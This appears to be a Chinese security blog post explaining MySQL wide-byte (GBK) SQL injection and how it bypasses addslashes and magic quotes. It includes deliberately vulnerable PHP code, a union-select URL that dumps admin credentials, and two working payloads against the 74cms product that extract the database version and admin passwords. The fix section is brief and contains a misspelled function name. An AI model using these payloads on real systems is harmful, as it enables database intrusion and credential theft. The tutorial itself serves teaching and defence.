面试中碰到的坑之注入系列(2)

Test:什么是宽字节注入?怎么防止sql注入?

00x1 防止数字型sql注入

说到mysql宽字节注入之前要提的是php中常见的sql防护思路。

php是弱类型的语言,而弱类型的语言在开发中很容易出现数字型的注入,所以对于这方面的防御,应该要有严格的数据类型。

比如:用is_numeric()、ctype_digit()判断字符类型。或者自定义一个check_sql函数对select union关键字进行过滤。

这类的防御比较简单,但是字符型的防注入就比较麻烦了。就是要将单引号转义,让sql语句的引号没有闭合,造成报错,达到防止注入的手段。

00x2 防止字符型型sql注入

Mysql防注入转义:

1.魔术引号开启

Php.ini文件中 magic_quote_gpc=on 开启

2.函数限制

addslashes ();

3、icov等

4、mysql_real_escape_string

00x3 关于宽字节注入

我们打开php配置文件将gpc魔术引号开启

开启前的效果:

这时候就不行了,看报错语句。就是引号被\转义。

这时候我们可以用编码绕过,祭出我们的小葵大杀器。

成功注入。

同样我们关掉gpc字符转义,然后用addslashes()函数。

效果一样,编码也能绕过。

但是要主义的是,这两个(GPC和addslashes不要同时开启)不要同时开启,否则会因为\被斜杠转义,使得引号逃逸出来就可以正常的注入了。比如这个语句:select * from admin where id =1\\’ 就相当与这个:select * from admin where id =1’

所以接下来的宽字节注入就是这个原理。

我们这里的宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)。首先模仿phithon牛的代码。

code:

<?php

//连接数据库部分,注意使用了gbk编码

$conn = mysql_connect('localhost', 'root', 'vaf') or die('bad!');

mysql_query("SET NAMES 'gbk'");

mysql_select_db('test', $conn) OR emMsg("连接数据库失败,未找到您填写的数据库");

//执行sql语句

$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;

$sql = "SELECT * FROM news WHERE tid='{$id}'";

$result = mysql_query($sql, $conn) or die(mysql_error());

?>

<!DOCTYPE html>

<html>

<head>

<meta charset="gbk" />

<title>新闻</title>

</head>

<body>

<?php

$row = mysql_fetch_array($result, MYSQL_ASSOC);

echo "<h2>{$row['title']}</h2><p>{$row['content']}<p>\n";

mysql_free_result($result);

?>

</body>

</html>

数据库之前的即可,如果我们输入%df’看会怎样:

输入前:

输入后:

斜杠是%5c,和%df构成一个宽字节, %df%5c也就是相当于:運’

如果再输入%df,则就成了%df %df %5c,程序会把%df%df看作一个字节,也就不报错了。因为%df%df是一个汉字,%5c%27不是汉字,仍然是\’。

这个是宽字符编码集:http://www.qqxiuzi.cn/zh/hanzi-gbk-bianma.php

那么mysql怎么判断一个字符是不是汉字,根据gbk编码,第一个字节ascii码大于128,基本上就可以了。比如我们不用%df,用%a1也可以:

虽然%a1%5c不是汉子,但是也是宽字符的一种。

那么我们可以构造一个exp来查询管理员的帐号密码:

localhost/index.php?id=-1%AA%27union%20select%201,2,concat(name,0x23,pass)%20from%20admin%23

这里为什么要用%AA呢?因为看下图:

%AA%27这里是空了,所以相当于空格。即%20,换成%AB。也一样可以的,这些应该是还没用到的GBK编码表

concat是一个字符串连接函数,我们连接两个字段进行查询。

gb2312和gbk应该都是宽字节家族的一员,但是gb2312是无法注入的。比如将这边改为gb2312。

有些同学不信的话,也可以把数据库编码也改成gb2312,也是不成功的。

为什么,这归结于gb2312编码的取值范围。它的高位范围是0xA1~0xF7,低位范围是0xA1~0xFE,而\是0x5c,是不在低位范围中的。所以,0x5c根本不是gb2312中的编码,所以自然也是不会被吃掉的

除了gbk以外,所有ANSI编码都是2个字节。ansi只是一个标准,在不用的电脑上它代表的编码可能不相同,比如简体中文系统中ANSI就代表是GBK。

00x4 关于修复:

指定php连接mysql的字符集。我们需要在执行sql语句之前调用一下mysql_set_charset函数,设置当前连接的字符集为gbk。

然后加以mysql_set_charast()

当然以上只是提到的一种,本文只是让你对宽字节注入入门而已。具体对于这个宽字节注入的特性,以及绕过防御还有几种方法。

以后有机会说吧。

00x5 利用:

这里用74cms演示:

Payload:http://host/plus/ajax_common.php?act=hotword&query=aa%%E9%8C%A6%27%20union%20select%201,concat(version(),user()),3%23%27

Payload:http://host/plus/ajax_common.php?act=hotword&query=aa%%E9%8C%A6%27%20union%20select%201,concat(admin_name,0x23,pwd),3%20from%20qs_admin%23%27

原文发布于微信公众号 - 晨星先生(MoXuanIT)

原文发表时间:2016-11-29

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏dotnet & java

WCF 入门(20)

今天第20集了。这个视频系列里面有6集和异常相关,这集是最后一集。前面几集讲了服务端遇到普通的 .net exception时候,要转换城Soap Fault,...

6830
来自专栏IMWeb前端团队

node中常见的10个错误

非原创,格式不太整齐。 错误 #1:阻塞事件循环 JavaScript在 Node.js (就像在浏览器一样) 提供单线程执行环境。这意味着你的程序不能同时执行...

28560
来自专栏Java 源码分析

CountDownLatch 源码分析

CountDownLatch 源码分析 1. 在阅读源码时做了大量的注释,并且做了一些测试分析源码内的执行流程,由于博客篇幅有限,并且代码阅读起来没有 IDE...

36660
来自专栏码洞

如履薄冰 —— Redis懒惰删除的巨大牺牲

之前我们介绍了Redis懒惰删除的特性,它是使用异步线程对已经删除的节点进行延后内存回收。但是还不够深入,所以本节我们要对异步线程逻辑处理的细节进行分析,看看A...

9510
来自专栏CVer

糟了!Python3.7.0 来了

美国时间6月27日晚8点,Python 3.7.0 经过多轮测试,终于发布了正式版,增强了多处特性功能,同时 3.6 也更新到 3.6.6 稳定版本。

20340
来自专栏企鹅号快讯

8行代码实现ui文件到py文件转换

在用PyQt进行GUI编程时,一般先通过Qt Designer产生后缀为.ui的UI文件(类似于XML文件),接着将.ui文件转换成.py文件,再通过一个pyt...

30080
来自专栏名山丶深处

Hello——Java10新特性,请了解一下

27350
来自专栏JavaQ

Java研发方向如何准备BAT技术面试答案(上)

最近因为忙于工作,没时间整理,本篇是下班后晚上抽空整理的,文中部分答案本来是想自己好好整理一份的,但是时间真的很紧,所以就整理了一下网络上的文章链接,挑了写的不...

38050
来自专栏逸鹏说道

C#异步调用的方法

最经公司工作需要调用一个外部的webservice,同时要将传出的数据进行保存,以自己以前的习惯,就打算逐步操作,失败啊,完全没考虑过用户体验效果,在同事指点下...

38460
来自专栏后端技术探索

反射机制、依赖注入、控制反转

反向: dll->类[方法,属性]. 从已经有的dll文件反编译得到其中的一些可用的方法.

10120

扫码关注云+社区

领取腾讯云代金券